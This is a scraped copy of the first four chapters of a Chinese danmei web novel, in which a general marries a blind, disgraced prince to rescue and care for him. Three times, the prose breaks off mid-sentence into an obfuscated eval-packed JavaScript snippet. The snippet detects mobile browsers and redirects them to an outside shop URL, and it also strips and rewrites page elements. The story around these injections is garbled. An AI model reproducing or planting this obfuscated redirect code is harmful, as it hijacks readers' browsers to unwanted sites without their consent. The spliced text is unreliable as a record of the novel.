《直男强娶盲弱美人后》 1. 第 1 章 阳春三月,乍暖还寒。 琼楼宫阙,桃花逐水流。 紫宸殿内死一样的寂静,文武百官各个双眸瞪大,悉数看向殿前单膝跪地的青年,他还穿着风尘仆仆赶回时的银铠,神武英秀,风华外美,瞧着是低眉顺眼的忠臣相,一张嘴就是大逆不道。 “你说,要娶谁?”便是龙椅上喜怒不形于色的帝王也难免被他的话给惊到。 薛俨由单膝跪地改为双膝,朗声重复了一遍,“臣薛俨,求娶六皇子殿下,臣对他一见倾心,爱慕多年,愿以九城之功换得陛下赐婚,成就良缘。” 紫宸殿内静得更可怕了。 无数双眼睛看向他的目光宛如在看英雄,又或是在看死人。世上竟有如此神勇者,张嘴就要娶陛下的儿子,关键是这个儿子可不是一般人。 自半年前六皇子赵禛因罪被判终生圈禁后,其相关党派尽数被灭,这个名字也就成了朝廷上的禁忌,没有人敢再跟他沾上半点瓜葛,连皇帝也几乎忘了这个儿子。 就在今天,有个不怕死的回来了。 他在外面打了胜仗,皇帝本来是念及他年纪不小了,又是家里的独苗苗,又看在他军功不菲的份上,想赐个公主郡主以作联姻。 谁料,皇帝刚提出要给他想看媳妇。这厮扑通往地上一跪,张口就要娶六皇子。满朝文武都沉默了。 “陛下,臣今年二十有一,明年二十二,后年二十三,再过几年就奔三十了,臣不想打光棍。” “先前祖母为臣定下过三桩婚事,但三个未婚妻都被臣克死了,臣不敢再霍霍别人家的姑娘了,也没人敢把女儿嫁给臣了……”薛俨说着说着声音都快哽咽了,就差抱着皇帝的腿嗷嗷哭了。 文武百官继续沉默。 所以,薛俨干脆过来霍霍皇帝的儿子了,还特意挑了个罪孽深重的儿子。 临淄侯薛俨克妻的传闻他们也听过,据说第一个姑娘突然掉水里淹死了,第二个姑娘暴毙没了,第三个姑娘直接全家都遭了难。 眼看薛俨到了弱冠,他那个祖母老太君每天急得团团转,但没人敢上门说亲了。皇帝甚至特意挑了个同样命硬的郡主想赐给薛俨,嘴都没张呢,就被薛俨堵回去了。 “臣这次在外打仗,正好碰上个游方道士,他说臣命格特殊,得娶个男妻回来镇宅,往后才能保佑家宅兴旺、国泰民安,而且这个人必须要命贵。臣左思右想,这命贵之人肯定得是皇亲国戚,于是臣又前思后想,也就六皇子没有成婚,长得还很漂亮。” “这几日祖母为了臣的婚事,急得饭都吃不下。臣无祖母无以至今日,就算是看在孝道的份上,臣今年一定也娶个媳妇回去。” “您就把他赐给我吧,臣一定会把他当菩萨一样供起来的,反正都要圈禁,就圈禁在臣的家中吧……” 薛俨说着头都埋下去了,还刻意拿袖子擦了擦不存在的眼泪。他都把国泰民安和孝道搬出来了,皇帝也该点头了吧。 “你放肆!”有文臣终于看不下去了,“薛俨,你纵有九城之功,也不得居功自傲,六皇子天潢贵胄,岂可嫁你为妻?况且他是罪臣,什么叫反正都要圈禁,还不如圈禁在你家里,那能一样吗?” “薛俨。”帝威沉沉打断了文臣的输出。“你确定想要九城之功只为换取一份婚书?圣旨一旦下达,便再无你反口的余地。” “臣确定。”薛俨猛猛点头,又补了一句,“最好快点儿成婚,臣怕不小心再把六殿下也给克了。” “着礼部拟旨,将赵禛赐婚于临淄侯薛俨,择日成婚。” * 赐婚圣旨下达的第五日,皇城便张灯结彩,响起了鞭炮声,即便是清冷荒废的晋阳宫也被宫人挂上了贴有喜字的红灯笼。 晋阳宫内,年久失修的木材散发着霉腐的气息,烂掉的窗户纸呼呼地吹着寒风。 帷幔榻前掩着一道躺下的人影,只听不断有咳声响起。 榻上的男人有些清瘦,眼前蒙着一条白布,脸颊苍白,病恹恹的,听到外头敲锣打鼓的声音,他微微支起身子问:“今天是什么日子?” 门口蹲着一个同样清瘦的小太监正在给药炉子扇风,苦臭的药材熏得他睁不开眼,他恹恹答话:“听着像是接亲,也不知道是哪个公主要成婚了。” 他话音刚落,一窝蜂的人闯了进去,丫鬟头顶戴着花,太监肩上披着红,为首的人清了清嗓子。 “陛下已将六皇子赐予临淄侯为妻,还请殿下尽快梳妆吧,一会儿接亲的就来了。” 屋里头咚地一声似是有重物坠落。 小太监蓝瞳吓得一溜烟儿跑了进去,将人从地上搀扶起来坐在榻前,急得眼泪都快掉下来了,“殿下,外头说……” 赵禛垂手重重地咳了几声,薄唇染血,消瘦到节骨分明的手指用力地攥紧了床榻,“他们,又想耍什么把戏?” 自那件事后,党羽被贬,旧部尽散,而他则被圈禁晋阳宫,时不时得到点那几个兄弟的问候。 到如今,落得个眼盲身残的下场,他们却还想要拿婚事做文章来羞辱他…… 破败的宫殿被捧着婚服的宫人们鱼贯而入挤进来,有太监伸手想要去拉扯他的衣裳,强行把婚服给他套上。 毕竟天潢贵胄下嫁臣子做男妻,这种事情搁谁身上都不愿意,更何况这位曾经风光到比肩太子的六皇子呢?可上面发了话,今日无论如何也要把他送上花轿。 “滚开。”赵禛挣开那人的手,眉宇微怒,“拿婚服来,我自己穿。” “可是……” “放肆!”他端坐床榻前,虽有病容,眼睛也看不见,但浑身的气势依旧让那几个人不敢再上前拉拽他。 即便他落到这个地步,也不是几个刁奴可以欺辱的,再怎么样,他也是皇子,闹到外面去,这些人只有被打杀的份儿。 将人尽数赶走后,赵禛双手摸索着那件婚服,绣工精致,腰间甚至缀有两圈珍珠,他唇角泛起一丝冷意,强撑着身躯穿戴整齐。 或许,这也是一个新的机会。 一个逃离晋阳宫的机会。 “进来吧。” 外头那些宫女再次鱼贯而入,却不敢像方才那样造次,只小心翼翼地打了水给他净脸、束发,又戴上金冠,连他用来蒙眼遮光的白布都换成了红色,最后盖上红盖头。 * 噼里啪啦的鞭炮从宫门一直响到临淄侯府门前,街道两侧有盛装来参加宴席的贵妇人和百官王侯,中央则被人搀扶着站着位鬓发花白的老太君。 礼乐声中,终于瞧见迎亲的队伍归来,红妆十里,映着漫天霞光,好不气派。 赵禛虽说是罪臣,但毕竟是皇子,皇帝把他赐给薛俨本就说不过去,就只能在仪仗上做些表面功夫,好叫天下人知道皇帝还是很爱重这个儿子,只是他自己不争气。 薛俨骑在马上,一袭火红婚服,颔首轻笑,意气风发,衬得越发丰神俊朗,神武英秀。 前来恭贺的命妇们都瞧痴了,最后又暗自惋惜起来。 他年纪轻轻便承袭了爵位,又有军功傍身,脾性温和,宽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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薛俨摆了摆头,“你们都下去,我自己掀。” 喜婆犹豫,“侯爷,这不合规矩……” 薛俨抬头定定地看着她,“下去。” 喜婆被他吓得一哆嗦,连忙带着人告退了,直到屋内只剩下两个人。 薛俨突然轻笑一声,看向新娘,“盖头是你自己掀,还是我帮你掀?” 他腰身靠在桌前,拿着本来该是交杯酒的金酒壶仰脖往自己嘴里灌,余光处瞧见那人,从前粉雕玉琢的瓷娃娃不知道长大后会是何等模样? “妾身见过侯爷。” 红盖头下传来一道沙哑而冰冷刺骨的声音,像是干枯的泉眼,没有半丝灵气。 薛俨手中的酒壶一顿,酒水洒了他一身,愕然又惊恐道:“你不记得我了?说话怎么这个调调?我鸡皮疙瘩都起来了。” 他有些无奈,也顾不得湿掉的衣襟,上前一步,准备让赵禛认一认自己的脸,或许就想起来了。 他掀开盖头,像从前那样打了个招呼,“嗨,是我,还记得我吗?我是你表兄的好朋友薛俨,你小时候我还抱过你呢。” 可下一瞬,薛俨便愣住了。 灯火旖旎下,映出一个红绸蒙眼的清瘦男人,金冠珠帘轻轻晃动,唇上胭脂染得殷红,面色却是苍白无力,病骨支离,可怜极了。 薛俨的心脏倏地像针扎了似得疼了下。 2. 第 2 章 薛俨有些不可置信,他几乎认不出眼前这个消瘦的人,在他的印象里还是九岁时精致漂亮的赵禛。 那年桃花树下赵禛穿着件织金红锦,眉眼标志,唇红齿白,粉白花瓣飘到他面前的书本上,赵禛一抬眼,就对上了墙头上趴着偷看的少年目光。 少年薛俨似有尴尬,抬手打了个招呼,“嗨,我来找少钦,他在吗?我是隔壁的薛俨,我爹是临淄侯,你是少钦的亲戚吗?” 崔少钦,工部尚书的次子,也是薛俨在京城最好的朋友。 两家宅院仅一墙之隔。 少年薛俨翻身坐在墙头,正好不远处有崔少钦过来寻人,“宣卿,哎?阿俨,你何时过来的?” 那时薛俨还不知道对方的身份,只当他是崔少钦什么亲戚家的孩子,便也跟着唤了一声“宣卿”,后来才知道他喊的是皇帝的儿子。 赵禛,小字宣卿。 可如今不过是八年未见,他怎么变成这样了?红绸遮眼,下颌紧绷,浑身上下都透着一股病态,满身沉疴,像是残风中的枯荷,稍一吹就断了。 那皇宫,真是吃人的地方。 贤妃丢了命,赵禛失了魂。 薛俨蹲下身,声调也柔和了许多,“你快想想,我不是坏人,我是少钦的好朋友薛俨,我是阿俨哥哥,还记得吗?八年前我家隔壁就是你舅舅崔尚书的府邸。” 他这么一说,对方动了动手指,似是终于想起来了,唇齿轻启,声音照旧沙哑,“薛俨,临淄侯,我记得……” “是我。”薛俨见他想起了自己,像小时候那样掌心揉了下他的头发,“别怕,你已经离开晋阳宫那个鬼地方了,这里是我府上,很安全的。” 赵禛仰头,“是你要娶我?为什么?” 他似有所放松,但情绪仍旧绷着。 薛俨挠了挠脸,有些不好意思,“那桩案子我有查过,不好翻案,而且当务之急是要把你救出来,我只能想到这个招儿了。” “我是问为什么要救我?” 赵禛不解,他现在就像是过街老鼠,人人都怕沾上晦气,这人竟还主动贴上来,他就不怕死吗? 薛俨郑重道:“少钦是为救我而死,他临终前把你托付给了我,我一定会拿你当亲弟弟一样看待的,以后我来照顾你。” 他说着视线又落在了蒙眼的红绸上,指尖下意识触碰,那人却应激似得躲闪开,薛俨有些错愕,“你的眼睛……” “嗯,看不到了。” 薛俨抿着嘴,心里有些不是滋味,他回来的太晚了。这个漂亮的少年已经被宫里的恶鬼折磨得不成人样了。 但见他情绪依旧紧张,薛俨忽然想到什么,“那个,你放心,我真不是断袖,我娶你回来就是为了救你。” “我可以对月起誓。” 他竖起三根手指,打开窗子,对着外头一轮圆月,“我发誓,我真的没有坏心思,也绝对没有想睡你,否则就叫我一辈子讨不到媳妇,无后而终。” “我要是敢对你有一丁点的歪想法,就让少钦从地府爬上来把我掐死。” 赵禛虽看不见眼前这人的神情,但印象里那张肆意张扬的脸逐渐浮现,他浅浅一笑,“嗯,我信你。” “那你要不要松开手,都割出血来了。”薛俨蹲下身想去掰他的手指,血迹从指缝间溢出,滴落在地板上。 “松手。”薛俨强行将他的五指掰开,掌心握着一块带刺的木片,应是趁人不备从某个地方强行掰来的,此刻掌心已是一片鲜血淋漓,木刺扎进肉里,血肉模糊。 “你不知道要嫁的人是我吗?”薛俨问道。 赵禛自小防备心就很重,毕竟是在宫里那种吃人的地方长大的,这木片恐怕是他用来结果新郎性命的。 好险—— 幸亏他自爆身份够快,差点就下去见少钦了。 带血的木片被扔到地板上,薛俨拿帕子擦了擦赵禛的掌心,又起身翻箱倒柜找出了药酒和镊子,直接坐在脚踏上,“有些疼,你忍一下。” 他将药酒倒上去,苍白的手指下意识蜷缩,但很快一道凉凉的吹风盖过的火辣辣的疼,赵禛有些愕然,低声道:“我不知道我要成亲。” 他落到这个地步,已经认了成王败寇,不敢奢望会有人冒死将他救出来。 薛俨用镊子将那些木刺小心翼翼地挑出来,又帮他包扎好伤口,“怪我,我思来想去没有好办法,只能出此下策了。” “我看看你的眼睛。”薛俨上前想摘赵禛的红绸,对方应激般闪躲了一下,但很快又克制住自己凑了过去。 薛俨手臂环过解开红绸的系带,随后一双漂亮但无神的眼睛落在微微晃动的烛火前,他低头捧起赵禛的脸瞧了许久。 “他们怎么能这样苛待你?”薛俨的声音带着些许心疼。 “看起来没有外伤,是内里出了什么问题吗?明日我去外头请个看眼睛的大夫,给你瞧瞧。” 赵禛嗯了一声。 黑暗中,他突然又被人掐住脸抬起下巴。 薛俨啧了一声,“太瘦了,不过幸好我颇有家资,肯定会把你养得白白胖胖,前两天我还叫人在院子里修了小厨房,你想吃什么叫他们给你加餐。” “我看桌上备的点心没动,是不喜欢吃桃花酥吗?还是担心我给你下毒了?”他灿然一笑,声若清风明月。 “现在饿不饿?我想着晋阳宫那地方你肯定吃不好睡不好,特意叫人在灶火上熬得小米粥温补。” 他说着又风风火火地出门唤了小厮,将小厨房温着的饭菜端了进来。 “过来呀。”薛俨掀袍坐在桌前,将那些个乱七八糟的东西推开,盛了一小碗粥。 “我忘了。”他一拍脑门想起来赵禛的腿似乎也有点问题,他紧走两步,手臂在他腰间一环抱起。 赵禛腾空而起,突如其来的失空让他下意识搂住了薛俨的脖子,“薛俨!” 薛俨笑笑,“就这几步路。” 他将人放在凳子上,给他手里塞了一碗粥,又忙不迭夹了些容易消化的菜,“你尝尝合不合口味,或者还有什么想吃的,都告诉我。” 赵禛一直没说话,自顾自地喝着粥,只觉得这个人叽叽喳喳的声音还真是和从前一样。 只是当时觉得吵闹,如今却是恍若隔世,他好久没有听到这样的声音了。 薛俨在旁边巴拉巴拉地说了一通,最后又问:“那个跟你来的小太监叫什么名字?我喊他来伺候你,你应该会习惯些。” “蓝瞳。” 薛俨愣了下,“……好名字。” 他起身推开门缝,喊道:“男同。” 赵禛:“……” 那个小太监原是蹲坐在台阶上,听见薛俨喊了一嗓子,弯着腰小跑过来,“侯爷,奴才叫蓝瞳。” “哦,蓝瞳啊。”薛俨讪笑一声,他就说怎么叫那么个名儿。 “那以后明月阁的这些姑娘小子们就归你管了,你们殿下以后想要什么吃的喝的玩的,你只管告诉我,我差人去办,要是有人用着不顺手也只管告诉我,我来处理。” 蓝瞳听着眼圈都泛起了红,忙用袖子擦了擦眼泪,喊了声,“是。” 薛俨又回去陪赵禛用了一会儿膳,他几度欲言又止,想问一问那桩大案的具体情况,但又怕戳到对方的伤心事。 赵禛感受到了那道时不时看来的视线,“你想说什么?” 薛俨道:“半年前到底是出了什么事?我远在边关,虽有耳闻,但知晓的并不多,只听说死了不少人。” 赵禛的舅舅,也就是崔少钦的父亲工部尚书,以及好些位高权重的高官,全折了进去。 赵禛撂下碗筷,“有人看上了一块地,百姓不愿意卖,给出的价格奇高,朝廷不想花那么多钱,但那个人想要的自然有人会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338474|199281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮他办成。” “于是有个狗腿子想了一个昏招,毁了堤坝,正碰上大雨连下数日,洪水淹了好几座城,洪水过后,土地廉价,百姓没有活路,只能贱卖田地,他们用极低的价格拿到了想要的地,而商人趁机兼并土地,大肆敛财。” “堤坝被毁,说明工部没有修好,百姓遭难缺粮,朝廷没有钱,那是户部的责任,他们背了锅,我的五个兄弟借机联手将我赶下了台。” 赵禛吹了吹热汤,语气轻描淡写的。 薛俨整个人都愣住了,双目浑圆,双拳紧攥,“他们,怎么能这么做?” 半年前,听闻有州郡遭了洪水,淹了几座城,朝中党派纷争严重,事情被推到了工部尚书头上,崔家一夜之间尽数下狱,而崔少钦因为远在边关,逃过一劫。 自那时起,崔少钦每日拼命杀敌,就是为了积累军功,好能回京翻案,但沙场无眼,他还是没能回来。 薛俨问:“你说的那个人是谁?” 赵禛愣了下,唇角竟浮起一丝诡异的笑,“怎么?你想翻案吗?” “是。” 赵禛道:“你翻不了的。” “为什么?” 赵禛道:“因为一旦案情真相大白,就等同于:皇帝错了。” 最后四个字他说得缓慢。 薛俨心头咯噔一跳,“你是说……那个想买地的人是……” 皇帝? 他怎么能这么做? 赵禛道:“皇帝只是想要地,至于毁堤淹田的事都是手底下的人做的。” 薛俨:“难道他不知道?” 赵禛:“他只能不知道。” 薛俨沉默了一会儿。 但很快他又道:“我不会让少钦背负这样的罪名离世。” 赵禛歪歪头,“你不怕死吗?” 薛俨道:“玉可碎而不可改其白,竹可焚而不可毁其节,身可陨,但不可负屈蒙冤。少钦是真正的君子,我不想他死后还要被人戳着脊梁骨骂。” “当然,我们现在最重要的是要把你的身体养好,剩下的以后再徐徐图之,好不好?” 俩人正说着话,门外有小厮声音传来。 “侯爷,云姨娘差人来问您几时过去?” 薛俨这才想起什么,朝外面喊道:“我陪殿下吃完饭就过去,你叫她先歇下吧。” 外头的人影退去。 薛俨解释道:“云娘是我的妾室,府上也是她管着账,回头我不在家时,你缺什么,可以差人去问云娘,我打过招呼了,叫她不管什么都先紧着你用。” 赵禛却突然问:“你有几个妾室?” 薛俨愣愣,“就一个啊。” 赵禛嗤笑一声,“那她还挺得宠的,正妻的新婚之夜都能把新郎叫过去。” 薛俨解释道:“不不不,我是想着你身子不好,我睡觉又不老实,担心晚上踢着你,侯府举家搬迁事情多,这几日府里又忙着大婚,忘了收拾东厢房,正巧她那儿有我的床,我过去将就一晚。” 赵禛唇角露出一点玩味儿的笑,“啊,这么忙。” 收拾间屋子用不了多长时间,偏生就给忘了,那没处可去的新郎官就只能去她院子里睡觉了,可真是拙劣的争宠手段啊。 薛俨没细想他那两句阴阳怪气,“时候不早了,你也早些休息。” 他说着便要起身。 突然衣角被人攥住,他立住脚步,回头看去,赵禛又垂手掩唇重重地咳了几声,唇上点血,比刻意擦的胭脂还要红。 “咳咳……” “哥哥,我有些害怕,可以陪我吗?” 少年可怜巴巴地垂着眼帘,唇间的猩红格外刺目,薛俨抿了抿唇,反握住了他的手,又朝外喊道:“松烟,你去趟云娘院子,就说我不过去了。” 赵禛弯了弯唇角。 争宠这种事,也很有趣嘛。 3. 第 3 章 蓝瞳拧了毛巾将赵禛额间的花钿擦掉,除去乱七八糟的脂粉,终于露出原本清瘦苍白的面容,但依稀还能瞧见其原本风华绝代的模样。 薛俨不禁想,等他再把赵禛好好养一养,恢复些许元气,不知道会养出何等漂亮的人物来。 看着看着,烛火忽明忽灭间,薛俨恍惚了一瞬,还以为是挚友再度站在了他面前。 “你和少钦眉眼长得很像。” 大概是赵禛的脸颊太瘦了,一时间他根本没注意到这一点,细看之下却发现崔少钦和赵禛这对表兄弟眉宇神似。 他愣神片刻,很快又恢复了神智。 赵禛除去了婚服,只留下最里头那件红色里衣,空荡荡的衣袍瞧的薛俨更心疼了。 他明天就去把全城的大夫都叫来。 嗯,再把库房里的人参、虫草、鹿茸全部搬过来。 “晋阳宫里欺负你的奴才都叫什么名儿,明早你列个名单出来。” “做什么?”赵禛一愣。 “阎王点卯。”薛俨恶狠狠地想。 他暂时动不了权臣和皇子,先整治几个狗奴才还是轻而易举的。 赵禛莞尔一笑,“多谢哥哥。” 这一声“哥哥”叫得薛俨心口热热的。 嗯,那几个欺负他弟弟的权臣也得死。 薛俨叫人收拾了张软榻,又在拔步床前竖了道屏风作为阻隔。外头圆月在屋内撒下一道银辉,薛俨双手枕在脑后,长腿微微屈起,又开始细想半年前的那桩案子。 他虽然在赵禛面前豪言壮语,但事情已经过去了半年,相关人证物证早已毁去,而且背后还掺和到了皇帝,很难办啊。 他现在能做的只有尽量让自己和赵禛在这座京城里活下来,留着一条命在,才能徐徐图之。 眼下还不知道多少双眼睛盯着侯府呢。 赵禛更是睡不着的,温暖舒适的床榻让他极不适应,昨日之地狱、今日之天堂的反差更让他不适应。 来之前他想着若是此人胆敢欺辱于他,他拼了命也要杀了他,若是能周旋哄骗,那就以他为棋,重新杀出一条路来。 可是,他怎么也没想到,不仅没有想象中的欺辱,反而被人好生地哄了一番。 次日,薛俨醒得很早,赵禛还在睡着。 他刚拉开门打算到院子里洗把脸,迎面撞上个老太太正在张望,她穿着件暗红云纹长袍,银丝挽得周正妥帖,点翠发冠上还嵌着宝石翡翠,颈间长串的珍珠链做足了派头。 “祖母?”薛俨打着哈欠,“您怎么在这儿?” 窦老太君鬼鬼祟祟地朝里望望,结果薛俨直接将身后的门关上,拦住了她的视线。 窦太君急忙拉住薛俨胳膊,悄咪咪问道:“孙儿,你俩昨晚没有吧?” 薛俨失笑道:“没有,孙儿娶他回来就是为了少钦的托付,不会真的断袖的。” 窦太君舒了一口气,“那就好,那就好,你可千万记住祖母的话,千万不能……” 薛俨抢话道:“千万不能断袖,死也不能断袖,我记着了,祖母放心,孙儿还是喜欢女孩儿的。” 窦太君又道:“你房里就云娘一个人不行,这么久了,我看她肚子也没什么动静,祖母身边的桃红,你还记得吗?” 薛俨想了想,点点头。 窦太君道:“那就好,桃红腰细屁.股大,一看就是个好生养的,模样也周正,你把她抬了,早日给咱家添丁才是正经事,我私下里也问过她了,她说她愿意着呢。” 薛俨叹了口气,天杀的古代,不留后就是千古罪人。 即便他是胎穿到这个架空朝代已经二十多年了,依旧没办法融入这些思想。 没错,他是一个穿越者,但并非常规的穿越者,更像是在现代车祸死后,没喝孟婆汤,直接出生在这个世界。 这么多年,他也习惯了这个朝代的规则,但有些思想,作为21世纪的大好青年他真的没办法接受! 他只想找个喜欢的姑娘,俩人和和美美的过日子,能生则生,不生则罢,一切随缘。奈何家里三代单传,他从出生开始就被寄予了人丁兴旺的厚望。 “祖母,孙儿现在没心思理这些事,咱们刚刚回家,好些事儿还没熟悉起来呢,顾不上顾不上。” 窦太君气地直戳他脑门,“你拖延多少回了?你命硬,那三个姑娘也没福气,反正我也不指望你娶个正经的正头夫人回来了,男妻就男妻,大不了多纳几个侧室,但是添丁的事你心里可得想着点儿。” “好好好,孙儿多多努力,您老人家就多拜拜送子观音,没准儿年底就能添个小子姑娘的。” 薛俨敷衍这事已经成习惯了。 幸亏还有个云娘做挡箭牌,要不然他真怕祖母又塞一堆女人进来。 对于美人呢,他一直是抱有欣赏的态度,远远观望欣赏神颜即可,并不想三千佳丽睡来睡去。 更何况他现在最重要的是要帮少钦养弟弟,再帮少钦翻案,哪有心思去创造人类。 窦太君还不罢休,“你少敷衍我。” 薛俨道:“我没敷衍您,真的,我天天记挂这事呢,我都恨不得亲自生一个出来。” 窦太君气得拿龙头杖敲了他一下,“净说胡话,算了,你不要桃红,那你也得多往云娘那边走走,你年纪也不小了,可别把自己憋坏了。” 薛俨无奈,“这种事情我心里有数,不会憋坏的,大不了我自己解决。” 窦太君:“别啊,要不你看看青黛,那姑娘就是性子娇纵了些……” 薛俨一个头两个大,连推带拽的,硬是将窦太君塞给她贴身的嬷嬷扶着回去了,他再听下去会觉得自己像头种猪。 古人开智早,像他这个年龄,在现代还是个大学没毕业的学生,但是在这个时代,也该是几个孩子的爹了,难怪他祖母这般着急呢。 送走窦太君,薛俨推开屋门,赵禛已经坐起来了,他一惊,“你不会……” 赵禛庄重道:“一个字也没听见。” 薛俨:“……” 他绝对听见了! “咳咳……”赵禛又咳嗽几声。 薛俨走过去一看,赵禛身上的衣裳松松垮垮地挂着,昨夜还苍白的脸,此刻红润通透,脸颊泛起了两团红晕,身体摇摇欲坠。 “宣卿。”他一个箭步过去在赵禛摔下去前将人接在怀中,手背在他额头一碰,烫得简直吓人。 “来人,快来人。” “松烟,你去把附近的大夫全部叫来。” 蓝瞳听到动静急急忙忙地跑过来,“殿下,殿下怎么了?” 薛俨将人放倒在床,指尖撩过碎发,拿帕子替他擦了擦冒出的汗,“发了烧热,你去打盆温水来。” 等蓝瞳急匆匆回来,薛俨接过布巾帮赵禛擦了擦脸,又擦了手心,屋内数十个仆从不停地倒换干净的水和布巾。 薛俨将他的里衣带子解开。 旁边蓝瞳下意识想制止,“侯爷……” 薛俨可没工夫搭理他,将赵禛的上衣扒开,又擦了他的脖颈和颈窝的位置,这几个地方是最好降温的。 好不容易等到大夫围聚过来,薛俨将赵禛的衣裳穿好,放下帷幔,只露出小截手腕放在外面。 几个大夫瞧了又瞧,看了又看,各个眉宇紧锁,欲言又止,看得薛俨恨不得上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338475|199281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前把他们的眉头给熨平了。 “怎么样?”他急忙问道。 其中一个大夫道:“夫人的身体亏空的厉害,气血不足,元气虚弱,这简直是……老朽从未见过这般残弱的脉象。” 另一个人道:“是啊,甚至体内还有毒素残留,这才导致了眼盲,若再不解毒,恐怕这辈子都看不见了。” 又一人道:“腿上的骨头长错了位,若是想正常行走,得打断了重接,其中的痛苦可想而知。” 妈的。 薛俨在心里骂了一声。 那帮欺负他弟弟的皇子们也得死。 薛俨一伸手,松烟立马往他掌心放了一块金元宝,金灿灿的光芒让那几个老大夫眼睛豁然一亮。 “这块金子是定钱,治好他,我给你们双倍尾金。但若是治坏了,你们就都卷铺盖回乡下种地吧。” “是是是。” “老朽等人必尽平生所学。” 那可是金子。 行医多少年都不一定能赚得这半块金子。 “去拟方子吧,还有,我家里的事,出了这个门,不传其他的耳朵,明白吗?” “是是是。” 等他们走后,薛俨才上前又探了探赵禛的额头,依旧烧得滚烫,想必是昨日大婚颠簸着他了,再加上情绪起伏,累得他发了烧热。 等药熬好时,赵禛也差不多清醒过来,薛俨将他揽起,在身后放了几个软枕做靠背,哄道:“宣卿,把药喝了,病就会好。” 赵禛垂手咳嗽了几声,小心翼翼地揪住薛俨的衣角问道:“我的眼睛和腿也能好吗?” “当然,等你病好,我带你出城纵马踏青,就像从前那样。” “若是不好呢……” “若是不好,我也会照顾你一辈子的。”薛俨拍了拍他的手背以示安慰,吹了吹勺中的药,喂到他嘴边,“来,张嘴。” 赵禛服了药,又昏睡过去。 薛俨出来关紧门,朝外头的小厮招招手,“松烟,你去挑几个厉害些的木匠回来,我有东西要做。” 薛俨说罢又回了屋,将纸张铺好,开始想后世的轮椅是个怎样的结构,首先轮子一定要大,还得是双层的,一层稍大些,用于走路,一层稍小些固定在外头,赵禛可以自己转着走。 他简单画了图纸。 等那些木匠到的时候,薛俨指挥着他们炮制木料,照着图纸做了个简易的轮椅出来。 赵禛醒来时,天色已近黄昏,屋内静悄悄的,像晋阳宫的夜晚,又冷又寂。然而身上柔软的锦被泛起的暖意告诉他,他已经离开晋阳宫了。 原本激起的紧意再度和缓下来。 薛俨—— 他可真是一个奇怪的人。 幼时曾在舅舅府上见过几次,他还记得有一回崔少钦在书院和人起了争执,俩人约好在东街打架,一决胜负。 那一天,对方叫了二十多个纨绔打算给他们点颜色看看,而崔少钦只叫了薛俨,薛俨也只叫了一个,就是书院的师长。 毫无疑问,那一帮小子们被罚抄书罚的手都快断了,哭爹喊娘地骂薛俨不是人。 门被吱呀推开,有脚步声进来。 鬼鬼祟祟的,像小贼一样。 “薛俨。” 人影虎躯一震,惊喜道:“你醒啦?” 薛俨上前,“感觉如何?还难受吗?” 黑暗里,赵禛感觉到有额头抵住了他的额头,很快又换成了手背探在了他后颈的位置测试温度,他攥了攥被角,哑声失笑。 “薛俨,你好像我娘啊。” 这样温声细语哄孩子的话他已经许久没有听过了。 4. 第 4 章 薛俨脸上的笑容戛然而止,屈指故意在他脑门敲了一下,“不许乱想,我男的,就算是像,也得像你爹。” 赵禛吃痛笑道:“可是我爹是皇帝。” 薛俨再度僵硬,那还是别像了。 他讨厌那个该死的皇帝。 赵禛却继续循循善诱,“你想做皇帝吗?我可以帮你的。” 话音未落,他的嘴就被捂住了。 薛俨吓道:“可别乱说,大逆不道。你父皇有十几个儿子,皇位再轮换都不可能轮到我这个女婿。” 女婿一词让赵禛觉得有些好笑。 说到这里,薛俨忽然问:“你上次说有五个兄弟联手把你赶下台,是哪五个?” 赵禛冷冷吐出几个数字“12578”。 薛俨恍然。 他记住那帮王八蛋了。 “我叫人做了个好东西,你要不要试试。”薛俨说着打了个响指。 赵禛听到有车轱辘的声音划过地板,最后在他面前停下,随后腰间多了一只大手,用力一带,下一瞬他便坐在了椅子上。 薛俨抓着他的手背帮他摸索着四周,“这把椅子叫轮椅,两侧有车轱辘,你握着这里试着推动它。” 赵禛照他说的推动手中的车轱辘,身下的椅子便动了起来,无神的眼底多了一点讶然,“可以动?” “是。”薛俨笑笑,“以后白天你可以坐着它,叫蓝瞳推着你在府里转转,春天到了,外头花香、虫鸣、暖风都很不错,一直闷在屋子里对你身体也不好。” “好,多谢哥哥。” 薛俨被他脸上的笑晃了一下。 好乖!他那死去的爹娘怎么就没给他也生个弟弟。 薛俨又叫来蓝瞳教他怎么用,蓝瞳越听越惊奇,“侯爷,这东西也太巧了。” 赵禛垂着头,听着耳边的说话声,恍然升起一种不真实的感觉。 自从半年前那件事后,他被关在晋阳宫,每日缩衣少食,既要暗里防着有人想来要他的性命,还要明里受那帮狗奴才的拉踩和白眼,命如草芥。 然而现在却换了温暖舒适的新环境,衣裳干净带着皂角香,屋内弥漫着点点苦药味儿,叫人莫名安心。 不过两天的功夫,他竟然就对薛俨产生了一种依赖。他还真是苦日子过久了,给点甜头就放松警惕了啊。 